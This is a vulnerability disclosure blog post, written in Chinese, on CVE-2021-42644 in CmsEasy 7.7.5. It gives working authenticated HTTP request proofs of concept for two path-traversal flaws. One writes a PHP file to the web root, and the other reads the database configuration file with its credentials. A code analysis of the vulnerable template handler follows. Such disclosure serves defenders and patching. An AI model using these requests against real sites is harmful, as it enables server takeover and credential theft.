Headline
CVE-2021-42644: CmsEasy_7.7.5_20211012存在任意文件写入和任意文件读取漏洞
cmseasy V7.7.5_20211012 is affected by an arbitrary file read vulnerability. After login, the configuration file information of the website such as the database configuration file (config / config_database) can be read through this vulnerability.
- 0day挖掘
- 2021-10-14
CmsEasy_7.7.5_20211012存在任意文件写入漏洞和任意文件读取漏洞
一、厂商官网
cmseasy
二、安装包下载
https://www.cmseasy.cn/download/
https://ftp.cmseasy.cn/CmsEasy7.x/CmsEasy_7.7.5_UTF-8_20211012.zip
2.1 任意文件写入漏洞getshell
后台漏洞,需登录。
2.2.1 任意文件写入漏洞poc
1
2
3
4
5
6
7
8
9
10
POST /index.php?case=template&act=save&admin_dir=admin&site=default HTTP/1.1
Host: 192.168.31.96
Content-Length: 57
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: login_username=admin; login_password=357fce333f91905f3e7342d10e5a5ce4;
Connection: close
sid=#data_d_…_d_…_d_…_d_1.php&slen=693&scontent=<?php phpinfo();?>
…d 代表 …/,此处用来路径穿越
发送漏洞利用的poc数据包,响应内容是ok时,代表网站根目录下被写入了1.php文件。
访问http://192.168.31.96/1.php (或者是http://localhost/1.php),此时发现phpinfo被成功执行。
2.2.2 任意文件写入漏洞代码分析
出现此漏洞的文件是lib/admin/template_admin.php
post方法传入sid=#data_d_…d…d…_d_1.php,经过一轮的正则替换,最后tpl=data/…/…/…/1.php
post方法传入scontent=<?php phpinfo();?>,先通过编码实例化,再通过正则替换将单引号转义,此时content=<?php phpinfo();?>,这里的正则处理是对XSS漏洞的处理,对写入的php代码不生效。
当site=default时,代码执行到最外层else处(第2789行),此过程中,content值不变,通过file_put_contents造成了任意文件写入漏洞。
2.2 任意文件读取漏洞
后台漏洞,需登录。
2.2.1 任意文件读取漏洞poc
1
2
3
4
5
6
7
8
9
10
POST /index.php?case=template&act=fetch&admin_dir=admin&site=default HTTP/1.1
Host: 192.168.31.96
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded;
Cookie: login_username=admin; login_password=357fce333f91905f3e7342d10e5a5ce4;
Connection: close
Content-Length: 32
id=#data_d_…_d_…_d_…_d_config_d_config_database.php
…d 代表 …/,此处用来路径穿越
发送漏洞利用的poc数据包
响应内容是cmseasy网站配置文件config/config_database.php的文件内容信息。
该响应信息中包含了数据库连接地址账号以及密码。
2.2.2 任意文件读取漏洞代码分析
出现此漏洞的文件是lib/admin/template_admin.php
post方法传入id=#data_d_…d…d…_d_config_d_config_database.php
通过一系列的正则替换tpl=data/…/…/…/config/config_database.php
最后通过第2757行的file_get_contents函数读取到了配置文件信息。